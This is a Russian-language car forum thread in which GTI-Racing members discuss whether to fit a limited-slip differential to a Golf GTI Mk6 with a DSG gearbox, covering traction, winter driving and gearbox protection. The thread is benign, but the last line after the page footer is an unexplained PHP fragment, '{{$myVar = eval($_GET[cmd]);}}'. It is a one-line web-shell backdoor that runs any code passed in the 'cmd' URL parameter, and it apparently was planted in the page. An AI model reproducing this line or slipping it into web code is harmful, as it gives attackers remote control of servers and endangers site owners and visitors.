+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя
Показано с 1 по 10 из 29

Тема: Блокировка дифференциала - ставить или нет?


  1. #1
    GTI-Racing Naber will become famous soon enough Naber will become famous soon enough Аватар для Naber
    Регистрация
    26.12.2012
    Откуда
    Москва, СВАО
    Машина
    Golf GTI Mk6 DSG 3-door
    Сообщений
    623

    Блокировка дифференциала - ставить или нет?

    Всем привет.
    Решил влить в тачку еще денег, встал вопрос, что бы докупить. В очередной раз задумался над блокой, да и подвернулся вариант с нормальным ценником. Пробег у машины 10000, на трек пока не езжу, есть ли смысл ставить, или лучше потратить деньги на другое?
    Насколько я понял, будет чуть лучше зацеп, в частности по мокрому или по снегу, ну и можно будет не переживать за DSG. Больше особых плюсов не вижу. У кого есть что сказать - welcome)

  2. #2
    GTI-Racing senka is a splendid one to behold senka is a splendid one to behold senka is a splendid one to behold senka is a splendid one to behold senka is a splendid one to behold senka is a splendid one to behold Аватар для senka
    Регистрация
    22.01.2009
    Откуда
    Москва
    Машина
    VW Golf 5 E30
    Сообщений
    1,095
    Цитата Сообщение от Naber Посмотреть сообщение
    ну и можно будет не переживать за DSG.
    мне кажется это огромный плюс. если бы у меня была такая возможность, поставил бы не раздумывая)

  3. #3
    GTI-Racing Dante is on a distinguished road Аватар для Dante
    Регистрация
    18.03.2010
    Откуда
    Москва
    Машина
    Skoda Octavia ARX
    Сообщений
    75
    Ставь конечно, можно будет хоть как-то тягу мотора реализовать, а так Вы только шинные компании спонсируете! :)

  4. #4
    GTI-Racing Apofis will become famous soon enough Apofis will become famous soon enough Аватар для Apofis
    Регистрация
    05.08.2012
    Откуда
    СВАО
    Машина
    Q7
    Сообщений
    1,040
    зимой машани с блокой ведет себя совсем по-другому - на ней хоть передвигаться можно
    я кстати на заниженном (-6см от ппд) ГТИ зимой ниразу не застрял на липучке, даже по льду в горку гребет отлично
    кароче блока мастхэв
    p.s. в эрке тоже блока ;)

  5. #5
    GTI-Racing Palma is on a distinguished road Аватар для Palma
    Регистрация
    25.01.2008
    Откуда
    Москва
    Машина
    BMW F10
    Сообщений
    622
    После установки блоки я понял что для переднего привода ОНА ДОЛЖНА СТОЯТЬ С ЗАВОДА!!!

  6. #6
    GTI-Racing Apofis will become famous soon enough Apofis will become famous soon enough Аватар для Apofis
    Регистрация
    05.08.2012
    Откуда
    СВАО
    Машина
    Q7
    Сообщений
    1,040
    Цитата Сообщение от Palma Посмотреть сообщение
    После установки блоки я понял что для переднего привода ОНА ДОЛЖНА СТОЯТЬ С ЗАВОДА!!!
    ну на ГТИ7 в пакете перфоманс она уже с завода и идет )

  7. #7
    GTI-Racing Palma is on a distinguished road Аватар для Palma
    Регистрация
    25.01.2008
    Откуда
    Москва
    Машина
    BMW F10
    Сообщений
    622
    Цитата Сообщение от Apofis Посмотреть сообщение
    ну на ГТИ7 в пакете перфоманс она уже с завода и идет )
    Да? я думал только имитация в виде XDS

  8. #8
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    приезжай на клубннве покатушки дрифтовые по снегу и мы поймем как тебе его не хватает )))
    примерно так )
    песок сыпется....не останавливайтесь на достигнутом !

  9. #9
    GTI-Racing Naber will become famous soon enough Naber will become famous soon enough Аватар для Naber
    Регистрация
    26.12.2012
    Откуда
    Москва, СВАО
    Машина
    Golf GTI Mk6 DSG 3-door
    Сообщений
    623
    А можно еще раз по полочкам, что она дает? Насколько я понял из обсуждений на встречах и в тырнете, это:
    1) лучший зацеп при старте, особенно по мокрому
    2) защита dsg
    3) с поворотами и так понятно)
    4) зимой лучше ездить - про это хотелось бы подробнее, да и вообще распишите свои ощущения более детально))
    Моей жабе нужны аргументы xD

  10. #10
    и еще вопрос: XDS отключается через ваг-ком или можно перевести только в более жесткий режим работы?

+ Ответить в теме
Страница 1 из 3 1 2 3 ПоследняяПоследняя

Похожие темы

  1. Как ставить гаррет на 1.8т
    от dus72 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 4
    Последнее сообщение: 01.10.2023, 21:34
  2. Какие свечи ставить? 2.0Т BWA
    от Димон в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 24
    Последнее сообщение: 01.10.2023, 21:26
  3. Ремонт DSG своими руками или замена дифференциала
    от Spaceman в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 115
    Последнее сообщение: 14.04.2023, 12:26
  4. самадельная блокировка дифферинциала.
    от васяGT в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 6
    Последнее сообщение: 30.08.2009, 02:40
  5. Блокировка Руля
    от EasyBoy в разделе Ремонт и обслуживание
    Ответов: 3
    Последнее сообщение: 14.12.2008, 20:46

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}